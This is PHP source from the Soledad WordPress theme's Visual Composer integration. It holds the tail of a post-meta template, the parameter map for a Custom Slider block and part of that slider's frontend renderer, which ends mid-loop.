			                    'before'      => '',
			                    'after'       => '',
		                    ), null, false );
		                    if ( $author_list ) {
			                    $author_ids = explode( ',', $author_list );
		                    }
	                    }
	                    $total   = count( $author_ids );
	                    $current = 0;
	                    foreach ( $author_ids as $author_id ) {
		                    $current ++;
		                    ?>

                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id );
                                                ?>
                                            </a>
	                    <?php } ?>
                    </span>
                </span>
		<?php endif; ?>
	    <?php penci_author_update_name(); ?>
		<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
            <span class="pctmp-date-post">
				<?php penci_soledad_time_link( 'single' ); ?></span>
		<?php endif; ?>
		<?php if ( ! $settings['penci_single_meta_comment'] ) :
			?>
            <span class="pctmp-comment-post">
            <?php
            $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
            $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
            ?>
            <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
		<?php endif; ?>
		<?php if ( ! $settings['penci_single_show_cview'] ) : ?>
            <span class="pctmp-view-post">
                <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
				} ?></span>
		<?php endif; ?>
		<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
			?>
            <span class="single-readtime">
            <?php penci_reading_time(); ?></span>
		<?php endif; ?>
    </div>
<?php
$css = [
	'meta-color'                       => [
		'{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}'
	],
	'penci_single_meta_gnr_icon_color' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}}' ],
	'penci_single_meta_gnr_bg_color'   => [
		'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
		'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
		'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

	],
	'meta-link-color'                  => [
		'{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}'
	],
	'meta-link-hcolor'                 => [
		'{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}'
	],
	'meta-author-color'                => [ '{{WRAPPER}} .author-post,{{WRAPPER}} .author-post .author' => 'color:{{VALUE}}' ],
	'meta-author-lcolor'               => [ '{{WRAPPER}} .author-post a' => 'color:{{VALUE}}' ],
	'meta-author-hcolor'               => [ '{{WRAPPER}} .author-post a:hover' => 'color:{{VALUE}}' ],
	'meta-pdate-color'                 => [ '{{WRAPPER}} .pctmp-date-post' => 'color:{{VALUE}} !important' ],
	'meta-pcomment-color'              => [ '{{WRAPPER}} .pctmp-comment-post' => 'color:{{VALUE}} !important' ],
	'meta-pview-color'                 => [ '{{WRAPPER}} .pctmp-view-post' => 'color:{{VALUE}} !important' ],
	'meta-preading-color'              => [ '{{WRAPPER}} .single-readtime' => 'color:{{VALUE}} !important' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     0w\X]  ]  2  js_composer/shortcodes/custom_sliders/settings.phpnu [        <?php
$group_color = 'Typo & Color';
$group       = 'Slider settings';
vc_map( array(
	'base'          => 'penci_custom_sliders',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/custom_sliders/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Custom Slider', 'soledad' ),
	'description'   => __( 'Custom Slider Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( Penci_Vc_Params_Helper::params_container_width(), array(
		array(
			'type'       => 'param_group',
			'heading'    => 'Slider',
			'param_name' => 'penci_slides',
			'value'      => urlencode( json_encode( array(
				array(
					'heading'             => __( 'Slide 1 Heading', 'soledad' ),
					'description'         => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
					'button_text'         => __( 'Click Here', 'soledad' ),
					'button_text2'        => __( 'Click Here', 'soledad' ),
					'background_color'    => '#833ca3',
					'content_color'       => '#fff',
					'text_align'          => 'center',
					'horizontal_position' => 'middle',
					'vertical_position'   => 'center',
				),
				array(
					'heading'             => __( 'Slide 2 Heading', 'soledad' ),
					'description'         => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
					'button_text'         => __( 'Click Here', 'soledad' ),
					'button_text2'        => __( 'Click Here', 'soledad' ),
					'background_color'    => '#4054b2',
					'content_color'       => '#fff',
					'text_align'          => 'center',
					'horizontal_position' => 'middle',
					'vertical_position'   => 'center',
				),
				array(
					'heading'             => __( 'Slide 3 Heading', 'soledad' ),
					'description'         => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
					'button_text'         => __( 'Click Here', 'soledad' ),
					'button_text2'        => __( 'Click Here', 'soledad' ),
					'background_color'    => '#1abc9c',
					'content_color'       => '#fff',
					'text_align'          => 'center',
					'horizontal_position' => 'middle',
					'vertical_position'   => 'center',
				)
			) ) ),
			'params'     => array(
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Title', 'soledad' ),
					'param_name'  => 'heading',
					'admin_label' => true
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Description', 'soledad' ),
					'param_name' => 'description',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Button Text 1', 'soledad' ),
					'param_name' => 'button_text',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Button Link 1', 'soledad' ),
					'param_name' => 'button_link',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Button Text 2', 'soledad' ),
					'param_name' => 'button_text2',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Button Link 2', 'soledad' ),
					'param_name' => 'button_link2',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Image Url', 'soledad' ),
					'param_name' => 'url_feat_img',
				),
				array(
					'type'       => 'colorpicker',
					'heading'    => esc_html__( 'Content Color', 'soledad' ),
					'param_name' => 'content_color',
				),
				array(
					'type'       => 'colorpicker',
					'heading'    => esc_html__( 'Background Color', 'soledad' ),
					'param_name' => 'background_color',
				),
				array(
					'type'       => 'attach_image',
					'heading'    => esc_html__( 'Background Image', 'soledad' ),
					'param_name' => 'background_image',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Horizontal Position', 'soledad' ),
					'param_name' => 'horizontal_position',
					'std'        => 'center',
					'value'      => array(
						__( 'Center', 'soledad' ) => 'center',
						__( 'Left', 'soledad' )   => 'left',
						__( 'Right', 'soledad' )  => 'right',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Vertical Position', 'soledad' ),
					'param_name' => 'vertical_position',
					'std'        => 'center',
					'value'      => array(
						__( 'Middle', 'soledad' ) => 'middle',
						__( 'Top', 'soledad' )    => 'top',
						__( 'Bottom', 'soledad' ) => 'bottom',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Text Align', 'soledad' ),
					'param_name' => 'text_align',
					'std'        => 'center',
					'value'      => array(
						__( 'Center', 'soledad' ) => 'center',
						__( 'Left', 'soledad' )   => 'left',
						__( 'Right', 'soledad' )  => 'right',
					),
				),

				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Enable Overlay Background Color', 'soledad' ),
					'param_name' => 'bg_item_overlay',
					'std'        => '',
					'value'      => array(
						__( 'Default', 'soledad' ) => '',
						__( 'Yes', 'soledad' )     => 'yes',
						__( 'No', 'soledad' )      => 'no',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Overlay Background Opacity', 'soledad' ),
					'param_name' => 'bgoverlay_opacity',
					'value'      => array(
						'Default' => '',
						'0'       => '0',
						'0.05'    => '0.05',
						'0.1'     => '0.1',
						'0.15'    => '0.15',
						'0.2'     => '0.2',
						'0.25'    => '0.25',
						'0.3'     => '0.3',
						'0.35'    => '0.35',
						'0.4'     => '0.4',
						'0.45'    => '0.45',
						'0.5'     => '0.5',
						'0.55'    => '0.55',
						'0.6'     => '0.6',
						'0.65'    => '0.65',
						'0.7'     => '0.7',
						'0.75'    => '0.75',
						'0.8'     => '0.8',
						'0.85'    => '0.85',
						'0.9'     => '0.9',
						'0.95'    => '0.95',
						'1'       => '1',
					)
				),
				array(
					'type'       => 'colorpicker',
					'heading'    => esc_html__( 'Overlay Background Color', 'soledad' ),
					'param_name' => 'bgoverlay_color',
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'bgoverlay_padding',
					'heading'    => __( 'Overlay Background Padding', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
				),
			)
		),

		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Slides Height', 'soledad' ),
			'param_name'       => 'slides_height',
			'value'            => '',
			'std'              => '',
			'min'              => 0,
			'max'              => 1000,
			'suffix'           => 'px',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Ratio Height/Width .Unit is %. E.g: 50', 'soledad' ),
			'param_name'       => 'slides_img_ratio',
			'value'            => '',
			'std'              => '',
			'min'              => 0,
			'max'              => 100,
			'suffix'           => '%',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'content_max_width',
			'heading'          => __( 'Content Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'slides_paddingl',
			'heading'          => __( 'Content Padding Left', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'slides_paddingr',
			'heading'          => __( 'Content Padding Right', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'slides_paddingt',
			'heading'          => __( 'Content Padding Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'slides_paddingb',
			'heading'          => __( 'Content Padding Bottom', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Slider
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Autoplay', 'soledad' ),
			'param_name'  => 'autoplay',
			'value'       => 'no',
			'group'       => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Slider Loop', 'soledad' ),
			'param_name' => 'loop',
			'value'       => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'auto_time',
			'heading'    => esc_html__( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'value'      => 4000,
			'group'      => $group,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'speed',
			'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
			'value'      => 800,
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name' => 'shownav',
			'value'       => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name' => 'showdots',
			'value'       => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Content Animation', 'soledad' ),
			'param_name' => 'content_animation',
			'std'        => 'fadeInUp',
			'group'      => $group,
			'value'      => array(
				__( 'None', 'soledad' )          => '',
				__( 'Fade In Up', 'soledad' )    => 'fadeInUp',
				__( 'Fade In Down', 'soledad' )  => 'fadeInDown',
				__( 'Fade In Left', 'soledad' )  => 'fadeInLeft',
				__( 'Fade In Right', 'soledad' ) => 'fadeInRight'
			),
		),

		// Custom css
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_style1_settings',
			'heading'          => esc_html__( 'Text', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'heading_spacing',
			'heading'    => __( 'Margin bottom', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text Color', 'soledad' ),
			'param_name'       => 'heading_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'heading_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'heading_typography',
			'value'      => '',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Enable Overlay Background Color', 'soledad' ),
			'param_name' => 'heading_overlay',
			'value'       => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Overlay Background Opacity', 'penci-framework' ),
			'param_name' => 'heading_bgoverlay_opacity',
			'value'      => array(
				'0'    => '0',
				'0.05' => '0.05',
				'0.1'  => '0.1',
				'0.15' => '0.15',
				'0.2'  => '0.2',
				'0.25' => '0.25',
				'0.3'  => '0.3',
				'0.35' => '0.35',
				'0.4'  => '0.4',
				'0.45' => '0.45',
				'0.5'  => '0.5',
				'0.55' => '0.55',
				'0.6'  => '0.6',
				'0.65' => '0.65',
				'0.7'  => '0.7',
				'0.75' => '0.75',
				'0.8'  => '0.8',
				'0.85' => '0.85',
				'0.9'  => '0.9',
				'0.95' => '0.95',
				'1'    => '1',
			),
			'std'        => '0.4',
			'group'      => $group_color
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Overlay Background Color', 'soledad' ),
			'param_name' => 'heading_bgoverlay_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'heading_bgoverlay_padding',
			'heading'    => __( 'Overlay Background Padding', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'section_style_description',
			'heading'          => esc_html__( 'Description', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'desc_spacing',
			'heading'    => __( 'Margin bottom', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color', 'soledad' ),
			'param_name'       => 'desc_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'desc_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'desc_typo',
			'value'      => '',
		),

		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Enable Overlay Background Color', 'soledad' ),
			'param_name' => 'description_overlay',
			'value'       => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Overlay Background Opacity', 'penci-framework' ),
			'param_name' => 'desc_bgoverlay_opacity',
			'value'      => array(
				'0'    => '0',
				'0.05' => '0.05',
				'0.1'  => '0.1',
				'0.15' => '0.15',
				'0.2'  => '0.2',
				'0.25' => '0.25',
				'0.3'  => '0.3',
				'0.35' => '0.35',
				'0.4'  => '0.4',
				'0.45' => '0.45',
				'0.5'  => '0.5',
				'0.55' => '0.55',
				'0.6'  => '0.6',
				'0.65' => '0.65',
				'0.7'  => '0.7',
				'0.75' => '0.75',
				'0.8'  => '0.8',
				'0.85' => '0.85',
				'0.9'  => '0.9',
				'0.95' => '0.95',
				'1'    => '1',
			),
			'std'        => '0.4',
			'group'      => $group_color
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Overlay Background Color', 'soledad' ),
			'param_name' => 'desc_bgoverlay_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'desc_bgoverlay_padding',
			'heading'    => __( 'Overlay Background Padding', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		// Button 1
		array(
			'type'             => 'textfield',
			'param_name'       => 'section_style_btn1',
			'heading'          => esc_html__( 'Button 1', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_width',
			'heading'          => __( 'Button Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_height',
			'heading'          => __( 'Button Height', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_border_width',
			'heading'          => __( 'Border Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_border_radius',
			'heading'          => __( 'Border Radius', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_size',
			'heading'          => __( 'Font Size', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'button1_typo',
			'value'      => '',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Color', 'soledad' ),
			'param_name'       => 'button1_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Background Color', 'soledad' ),
			'param_name'       => 'button1_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Border Color', 'soledad' ),
			'param_name'       => 'button1_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Hover Color', 'soledad' ),
			'param_name'       => 'button1_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Background Hover Color', 'soledad' ),
			'param_name'       => 'button1_hbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Border Hover Color', 'soledad' ),
			'param_name'       => 'button1_hbordercolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),


		// Button 2
		array(
			'type'             => 'textfield',
			'param_name'       => 'section_style_btn2',
			'heading'          => esc_html__( 'Button 2', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_width',
			'heading'          => __( 'Button Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_height',
			'heading'          => __( 'Button Height', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_border_width',
			'heading'          => __( 'Border Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_border_radius',
			'heading'          => __( 'Border Radius', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_size',
			'heading'          => __( 'Font size', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'button2_typo',
			'value'      => '',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Color', 'soledad' ),
			'param_name'       => 'button2_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Background Color', 'soledad' ),
			'param_name'       => 'button2_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Border Color', 'soledad' ),
			'param_name'       => 'button2_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Hover Color', 'soledad' ),
			'param_name'       => 'button2_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Background Hover Color', 'soledad' ),
			'param_name'       => 'button2_hbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Border Hover Color', 'soledad' ),
			'param_name'       => 'button2_hbordercolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\ bA  A  2  js_composer/shortcodes/custom_sliders/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$penci_slides = (array) vc_param_group_parse_atts( $atts['penci_slides'] );
if ( ! $penci_slides ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-custom-slides';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'custom_slider' );

$data_slider = 'yes' == $atts['showdots'] ? ' data-dots="true"' : '';
$data_slider .= ! 'yes' == $atts['shownav'] ? ' data-nav="true"' : '';
$data_slider .= ! 'yes' == $atts['loop'] ? ' data-loop="true"' : '';
$data_slider .= ' data-auto="' . ( ! 'yes' == $atts['autoplay'] ? 'false' : 'true' ) . '"';
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<div class="penci-block_content penci-slides-wrap swiper penci-owl-carousel penci-owl-carousel-slider" <?php echo $data_slider; ?>>
			<div class="swiper-wrapper">
			<?php
			$slide_count = 0;
			foreach ( (array) $penci_slides as $slide ) {

				$slide_bg_color   = isset( $slide['background_color'] ) && $slide['background_color'] ? $slide['background_color'] : '#833ca3';
				$slide_text_align = isset( $slide['text_align'] ) && $slide['text_align'] ? $slide['text_align'] : 'center';

				$heading_overlay       = isset( $atts['heading_overlay'] ) && 'yes' == $atts['heading_overlay'] ? 'yes' : '';
				$description_overlay = isset( $atts['description_overlay'] ) && 'yes' == $atts['description_overlay'] ? 'yes' : '';

				if( isset( $slide['bg_item_overlay'] ) && $slide['bg_item_overlay'] ) {
					if( 'yes' == $slide['bg_item_overlay'] ){
						$heading_overlay = $description_overlay = 'yes';
					}elseif( 'no' == $slide['bg_item_overlay'] ){
						$heading_overlay = $description_overlay = '';
					}
				}

				echo '<div class="swiper-slide penci-repeater-item-' . $slide_count . ' penci-ctslide-wrap">';
				echo '<div class="penci-custom-slide">';

				echo '<div class="penci-ctslide-bg" style="background-color:' . esc_attr( $slide_bg_color ) . '"></div>';



				echo '<div class="penci-ctslide-inner" style="text-align:' . esc_attr( $slide_text_align ) . '">';

				$url_feat_img = isset( $slide['url_feat_img'] ) ? $slide['url_feat_img'] : '';
				if( $url_feat_img ){
					echo '<a class="penci-ctslider-featimg" href="' . esc_url( $url_feat_img ) . '"></a>';
				}

				echo '<div class="penci-ctslider-content penci-' . esc_attr( $atts['content_animation'] ) . '">';

				if ( isset( $slide['heading'] ) && $slide['heading'] ) {
					if( $heading_overlay ) {
						echo '<h2 class="pencislider-title pencislider-title-overlay"><span class="pslider-bgoverlay-inner"><span>' . $slide['heading'] . '</span></span></h2>';
					}else{
						echo '<h2 class="pencislider-title">' . $slide['heading'] . '</h2>';
					}
				}

				if ( isset( $slide['description'] ) && $slide['description'] ) {
					if( $description_overlay ) {
						echo '<div class="pencislider-caption pencislider-caption-overlay"><span class="pslider-bgoverlay-inner"><span>' . $slide['description'] . '</span></span></div>';
					}else{
						echo '<div class="pencislider-caption">' . $slide['description'] . '</div>';
					}
				}

				$html_button = '';
				if ( isset( $slide['button_text'] ) && $slide['button_text'] ) {
					$link_data = 'href="#"';
					if ( isset( $slide['button_link'] ) && $slide['button_link'] ) {
						$link_data = 'href="' . esc_url( $slide['button_link'] ) . '"';
					}

					$html_button .= '<a class="pencislider-btn pencislider-btn-1 penci-button" ' . $link_data . '><span>' . $slide['button_text'] . '</span></a>';
				}
				if ( isset( $slide['button_text2'] ) && $slide['button_text2'] ) {
					$link_data = 'href="#"';
					if ( isset( $slide['button_link2'] ) && $slide['button_link2'] ) {
						$link_data = 'href="' . esc_url( $slide['button_link2'] ) . '"';
					}

					$html_button .= '<a class="pencislider-btn pencislider-btn-2 penci-button" ' . $link_data . '><span>' . $slide['button_text2'] . '</span></a>';
				}

				if ( $html_button ) {
					echo '<div class="penci-slider_btnwrap">' . $html_button . '</div>';
				}

				echo '</div>'; // slider content

				echo '</div>'; // penci-ctslide-inner
				echo '</div>'; // penci-custom-slide
				echo '</div>'; // penci-ctslide-wrap

				$slide_count ++;
			}
			?>
			</div>
		</div>
	</div>
<?php
$id_custom_slider = '#' . $block_id;
$id_custom_slider2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom       = '';

$slide_count = 0;
foreach ( (array) $penci_slides as $slide ) {
	$horizontal_position = isset( $slide['horizontal_position'] ) ? $slide['horizontal_position'] : '';
	$vertical_position   = isset( $slide['vertical_position'] ) ? $slide['vertical_position'] : '';
	$text_align          = isset( $slide['text_align'] ) ? $slide['text_align'] : '';
	$content_color       = isset( $slide['content_color'] ) ? $slide['content_color'] : '';
	$background_image    = isset( $slide['background_image'] ) ? $slide['background_image'] : '';

	$heading_overlay       = isset( $atts['heading_overlay'] ) && $atts['heading_overlay'] ? 'yes' : '';
	$description_overlay = isset( $atts['description_overlay'] ) && $atts['description_overlay'] ? 'yes' : '';
	if( isset( $slide['bg_item_overlay'] ) && $slide['bg_item_overlay'] ) {
		if( 'yes' == $slide['bg_item_overlay'] ){
			$heading_overlay = $description_overlay = 'yes';
		}elseif( 'no' == $slide['bg_item_overlay'] ){
			$heading_overlay = $description_overlay = '';
		}
	}

	if ( $horizontal_position ) {
